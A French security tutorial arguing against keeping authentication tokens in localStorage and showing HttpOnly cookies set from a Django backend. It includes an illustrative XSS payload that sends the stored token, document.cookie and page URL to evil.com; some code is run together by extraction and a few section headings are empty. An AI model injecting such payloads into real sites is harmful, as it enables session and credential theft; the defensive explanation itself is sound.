Cessez d'utiliser localStorage pour les jetons d'authentification : une analyse approfondie des questions de sécurité

Le problème que tout le monde ignore

// À 
ÉVITERconst login = async (credentials) => {
  const res = await fetch('/api/auth/login', { ... });
  const { access_token } = await res.json();
  localStorage.setItem('token', access_token); // <-- VULNÉRABLE
};

Comment une attaque XSS permet de voler des jetons localStorage

// Charge utile de l'attaquant (injectée via le champ de commentaire, le script publicitaire, etc.)
new Image().src = 'https://evil.com/steal?token='  
 + localStorage.getItem('token');

// Ou bien ils exfiltrent les données via 
fetchfetch('https://evil.com/collect', {
  method: 'POST',
  body: JSON.stringify({
    token: localStorage.getItem('token'),
    cookies: document.cookie,
    url: window.location.href
  })
});

La bonne approche : les cookies HttpOnly

# Backend Django : définir le jeton comme cookie HttpOnly
 from django.http import JsonResponse 

def login_view(request):
    user = authenticate(request)
    access_token = generate_jwt(user)
    refresh_token = generate_refresh_token(user)    

response = JsonResponse({'user': serialize(user)})    

# HttpOnly : JavaScript ne peut pas le lire (protection XSS)
    # Secure : envoyé uniquement via HTTPS
    # SameSite=Lax : empêche les attaques CSRF sur la plupart des requêtes
    response.set_cookie(
        'access_token', access_token,
        httponly=True,
        secure=True,
        samesite='Lax',
        max_age=15 * 60,  # 15 minutes
        path='/',
    )
    response.set_cookie(
        'refresh_token', refresh_token,
        httponly=True,
        secure=True,
        samesite='Lax',
        max_age=7 * 24 * 60 * 60,  # 7 jours
        path='/api/auth/refresh/',  # envoyé uniquement au point de terminaison de 
rafraîchissement    )
    return response

Interface utilisateur : aucune gestion des jetons n'est nécessaire

// Frontend : les cookies sont envoyés automatiquement 
const getProfile = async () => {  
 const res = await fetch('/api/profile/', {    
 credentials: 'include',  // inclure les cookies  
 });  
 return res.json(); 
}; 

// Pas de localStorage, pas d'analyse de jeton, pas d'en-têtes 
d'authentification // Le navigateur envoie automatiquement le cookie HttpOnly

Comparaison : localStorage et cookies HttpOnly

Qu'en est-il du CSRF ?

En résumé

La sécurité n'est pas une fonctionnalité que l'on ajoute après coup. Le choix entre les cookies localStorage et HttpOnly fait toute la différence entre « nous avons été piratés » et « l'attaque a été contrée ».

— Fiche pratique sur l'authentification de l'OWASP